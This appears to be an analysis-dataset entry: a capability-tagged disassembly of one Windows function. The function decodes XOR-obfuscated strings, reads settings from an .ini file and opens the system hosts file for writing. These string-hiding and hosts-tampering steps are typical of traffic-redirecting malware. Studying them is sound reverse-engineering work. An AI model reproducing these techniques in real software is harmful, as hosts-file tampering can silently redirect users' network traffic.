Function at 0x4546e0
Capabilities:
Access peb ldr_data
Encode data using xor
Get common file path
Get kernel32 base address
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cf2f3
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x88
push esi
push edi
mov eax, dword [0x5000c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x98], edi
xorps xmm0, xmm0
movups xmmword [edi + 0x10], xmm0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0xf
mov byte [edi + 0x10], 0
mov dword [ebp - 4], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
movups xmmword [edi + 0x138], xmm0
mov dword [edi + 0x148], 0
mov dword [edi + 0x14c], 0xf
mov byte [edi + 0x138], 0
movups xmmword [edi + 0x160], xmm0
mov dword [edi + 0x170], 0
mov dword [edi + 0x174], 0xf
mov byte [edi + 0x160], 0
push 0x38
mov byte [ebp - 4], 3
call fcn.004a4786
push 0x38
mov esi, eax
push 0
push esi
mov dword [ebp - 0x40], esi
call fcn.004a6440
movaps xmm0, xmmword [0x4fb220]
xor eax, eax
mov dword [esi + 8], 0
add esp, 0x10
mov dword [esi + 0xc], 0
xor ecx, ecx
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
movups xmmword [ebp - 0x94], xmm0
mov dword [esi], 0
movaps xmm0, xmmword [0x4fae30]
mov dword [esi + 4], 0
movups xmmword [ebp - 0x84], xmm0
mov dword [edi], esi
movaps xmm0, xmmword [0x4fad80]
mov dword [edi + 4], 0
mov byte [edi + 0x154], 0
mov byte [edi + 0x178], 0
mov word [edi + 0xc], 0
mov word [edi + 0x15c], ax
movups xmmword [ebp - 0x74], xmm0
nop
mov al, byte [ebp - 0x94]
xor byte [ebp + ecx - 0x93], al
inc ecx
cmp ecx, 0x2e
jb 0x454870
lea ecx, [ebp - 0x93]
mov byte [ebp - 0x65], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454890
sub ecx, edx
lea eax, [ebp - 0x93]
push ecx
push eax
lea ecx, [edi + 0x160]
call fcn.00445060
push 0x3a
call fcn.004a47c4
add esp, 4
mov dword [ebp - 0x40], eax
lea esi, [edi + 0x34]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, esi
mov dword [ebp - 0x6c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
movups xmmword [ebp - 0x7c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4548e2
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x7c]
call fcn.0044a8e0
mov byte [ebp - 4], 4
mov dl, 0x2d
mov dword [ebp - 0x30], 0x487e712d
xor ecx, ecx
mov dword [ebp - 0x2c], 0x5f485b5f
mov dword [ebp - 0x28], 0x44434403
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x2f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x454927
mov dl, byte [ebp - 0x30]
jmp 0x454916
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x24], 0
push eax
lea ecx, [ebp - 0x7c]
call fcn.004489b0
mov dword [ebp - 0x54], 0
lea esi, [ebp - 0x64]
mov dword [ebp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x64], xmm0
mov cl, 0x24
mov ch, 0x26
movups xmm0, xmmword [eax]
mov byte [ebp - 0x39], ch
mov dl, 0x21
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x54], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov al, 0x27
cmp dword [ebp - 0x50], 0xf
mov ah, 0x38
mov byte [ebp - 0x11], al
mov dh, ah
cmova esi, dword [ebp - 0x64]
mov byte [ebp - 0x4c], 0x16
xor al, byte [ebp - 0x4c]
xor cl, byte [ebp - 0x4c]
mov byte [ebp - 0x4b], al
mov al, byte [ebp - 0x39]
mov byte [ebp - 0x4a], cl
mov cl, byte [ebp - 0x4c]
xor al, cl
mov byte [ebp - 0x3a], ah
mov byte [ebp - 0x45], al
xor ah, cl
mov al, byte [ebp - 0x3a]
xor dl, cl
xor al, cl
mov byte [ebp - 0x48], ah
mov byte [ebp - 0x44], al
mov ah, 0x25
mov al, byte [ebp - 0x11]
xor ch, cl
xor al, cl
mov byte [ebp - 0x49], dl
mov byte [ebp - 0x43], al
xor dh, cl
mov al, 0x6c
mov byte [ebp - 0x20], 0x52
xor al, ah
mov byte [ebp - 0x47], ch
mov byte [ebp - 0x37], al
mov cl, 0x75
xor cl, ah
mov byte [ebp - 0x46], dh
mov dl, 0x15
mov byte [ebp - 0x36], cl
xor dl, ah
mov byte [ebp - 0x42], 0
mov al, 1
mov byte [ebp - 0x35], dl
xor al, byte [ebp - 0x20]
mov cl, 0x37
mov dl, 0x20
mov byte [ebp - 0x1f], al
mov al, byte [ebp - 0x20]
mov ch, cl
xor cl, al
mov byte [ebp - 0x38], ah
mov dh, dl
mov byte [ebp - 0x34], 0
xor dl, al
mov byte [ebp - 0x42], 0
mov byte [ebp - 0x34], 0
mov ah, 0x24
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], dl
push esi
xor ah, al
mov byte [ebp - 0x19], 0
push 0x3a
push dword [ebp - 0x40]
xor ch, al
mov byte [ebp - 0x1c], ah
xor dh, al
mov byte [ebp - 0x1b], ch
lea eax, [ebp - 0x4b]
mov byte [ebp - 0x1a], dh
push eax
lea eax, [ebp - 0x37]
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [ebp - 0x50]
cmp ecx, 0xf
jbe 0x454a7d
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454a73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cf8
push ecx
push edx
call fcn.004a47b6
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
cmp ecx, 0xf
jbe 0x454ac7
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454abd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cf8
push ecx
push edx
call fcn.004a47b6
add esp, 8
lea edx, [edi + 0x34]
mov dword [ebp - 0x6c], 0
mov ecx, edx
mov dword [ebp - 0x68], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x7c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454ae4
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x7c]
call fcn.0044a8e0
mov byte [ebp - 4], 5
mov dl, 0x32
mov dword [ebp - 0x30], 0x57616e32
xor ecx, ecx
mov dword [ebp - 0x2c], 0x40574440
mov dword [ebp - 0x28], 0x5b5c5b1c
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x2f]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jae 0x454b29
mov dl, byte [ebp - 0x30]
jmp 0x454b18
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x24], 0
push eax
lea ecx, [ebp - 0x7c]
call fcn.004489b0
mov dword [ebp - 0x54], 0
lea esi, [ebp - 0x64]
mov dword [ebp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x64], xmm0
mov dh, 0x4e
mov cl, 0x27
movups xmm0, xmmword [eax]
mov dl, 0x22
mov byte [ebp - 0x11], 0x29
mov ch, 0x3d
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x54], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov al, 8
cmp dword [ebp - 0x50], 0xf
mov ah, 0x2b
mov byte [ebp - 0x20], 0x47
cmova esi, dword [ebp - 0x64]
xor al, dh
mov byte [ebp - 0x37], al
xor ah, dh
xor cl, dh
mov byte [ebp - 0x34], ah
xor dl, dh
mov byte [ebp - 0x38], dh
xor ch, dh
mov byte [ebp - 0x36], cl
mov al, 0x11
mov byte [ebp - 0x35], dl
xor al, byte [ebp - 0x20]
mov cl, 0x22
mov byte [ebp - 0x1f], al
mov dl, 0x35
mov al, byte [ebp - 0x20]
mov ah, 0x34
mov byte [ebp - 0x33], ch
xor cl, al
xor dl, al
mov byte [ebp - 0x32], 0
xor ah, al
mov byte [ebp - 0x18], 0
mov ch, 0x2e
mov byte [ebp - 0x1c], ah
xor ch, al
mov byte [ebp - 0x32], 0
mov dh, 0x28
mov byte [ebp - 0x1e], cl
xor dh, al
mov byte [ebp - 0x1d], dl
mov al, byte [ebp - 0x11]
xor al, byte [ebp - 0x20]
push esi
mov byte [ebp - 0x19], al
lea eax, [ebp - 0x37]
push 1
push eax
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x1b], ch
push eax
mov byte [ebp - 0x1a], dh
mov byte [ebp - 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 0x50]
mov word [edi + 0x15e], ax
cmp ecx, 0xf
jbe 0x454c3e
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454c34
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cfd
push ecx
push edx
call fcn.004a47b6
add esp, 8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
cmp ecx, 0xf
jbe 0x454c88
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x454c7e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454cfd
push ecx
push edx
call fcn.004a47b6
add esp, 8
push str.C:_Windows_System32_drivers_etc_hosts
call fcn.004ad468
add esp, 4
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x100
push 1
push 0
push 0
push 0xc0000000
push str.C:_Windows_System32_drivers_etc_hosts
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [ebp - 0x40]
mov edx, ecx
lea esi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x454cc2
sub edx, esi
push edx
push ecx
lea ecx, [edi + 0x138]
call fcn.00445060
mov dword [edi + 0x158], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004ac920
call fcn.004ac920
int3